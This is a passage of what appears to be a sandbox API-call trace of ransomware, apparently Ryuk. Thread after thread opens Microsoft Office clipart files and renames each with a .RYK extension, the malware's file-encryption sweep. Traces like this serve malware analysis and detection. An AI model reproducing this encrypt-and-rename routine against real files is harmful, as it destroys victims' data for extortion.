	os_tid = 0x2d94

	[0225.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF", dwFileAttributes=0x80) returned 0
	[0225.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.325] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2573
	os_tid = 0x2d98

	[0225.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF", dwFileAttributes=0x80) returned 0
	[0225.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.329] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2574
	os_tid = 0x2d9c

	[0225.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF", dwFileAttributes=0x80) returned 0
	[0225.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2575
	os_tid = 0x2da0

	[0225.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF", dwFileAttributes=0x80) returned 0
	[0225.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2576
	os_tid = 0x2da4

	[0225.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF", dwFileAttributes=0x80) returned 0
	[0225.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2577
	os_tid = 0x2da8

	[0225.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF", dwFileAttributes=0x80) returned 0
	[0225.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2578
	os_tid = 0x2dac

	[0225.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG", dwFileAttributes=0x80) returned 0
	[0225.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2579
	os_tid = 0x2db0

	[0225.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF", dwFileAttributes=0x80) returned 0
	[0225.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2580
	os_tid = 0x2db4

	[0225.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF", dwFileAttributes=0x80) returned 0
	[0225.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2581
	os_tid = 0x2db8

	[0225.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF", dwFileAttributes=0x80) returned 0
	[0225.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.350] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2582
	os_tid = 0x2dbc

	[0225.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF", dwFileAttributes=0x80) returned 0
	[0225.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.355] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2583
	os_tid = 0x2dc0

	[0225.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF", dwFileAttributes=0x80) returned 0
	[0225.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172067.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172067.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2584
	os_tid = 0x2dc4

	[0225.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF", dwFileAttributes=0x80) returned 0
	[0226.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.715] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172193.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172193.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2585
	os_tid = 0x2dc8

	[0225.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF", dwFileAttributes=0x80) returned 0
	[0225.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.586] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2586
	os_tid = 0x2dcc

	[0225.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF", dwFileAttributes=0x80) returned 0
	[0225.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2587
	os_tid = 0x2dd0

	[0225.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF", dwFileAttributes=0x80) returned 0
	[0225.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.593] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2588
	os_tid = 0x2dd4

	[0225.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG", dwFileAttributes=0x80) returned 0
	[0226.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2589
	os_tid = 0x2dd8

	[0225.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG", dwFileAttributes=0x80) returned 0
	[0226.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2590
	os_tid = 0x2ddc

	[0225.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG", dwFileAttributes=0x80) returned 0
	[0226.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2591
	os_tid = 0x2de0

	[0226.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG", dwFileAttributes=0x80) returned 0
	[0232.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.707] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2596
	os_tid = 0x2df4

	[0226.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG", dwFileAttributes=0x80) returned 0
	[0232.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.705] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2597
	os_tid = 0x2df8

	[0226.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG", dwFileAttributes=0x80) returned 0
	[0232.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2598
	os_tid = 0x2dfc

	[0226.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG", dwFileAttributes=0x80) returned 0
	[0232.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2599
	os_tid = 0x2e00

	[0226.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG", dwFileAttributes=0x80) returned 0
	[0232.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.701] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2600
	os_tid = 0x2e04

	[0226.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG", dwFileAttributes=0x80) returned 0
	[0232.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.699] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2601
	os_tid = 0x2e08

	[0226.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG", dwFileAttributes=0x80) returned 0
	[0232.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.698] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2602
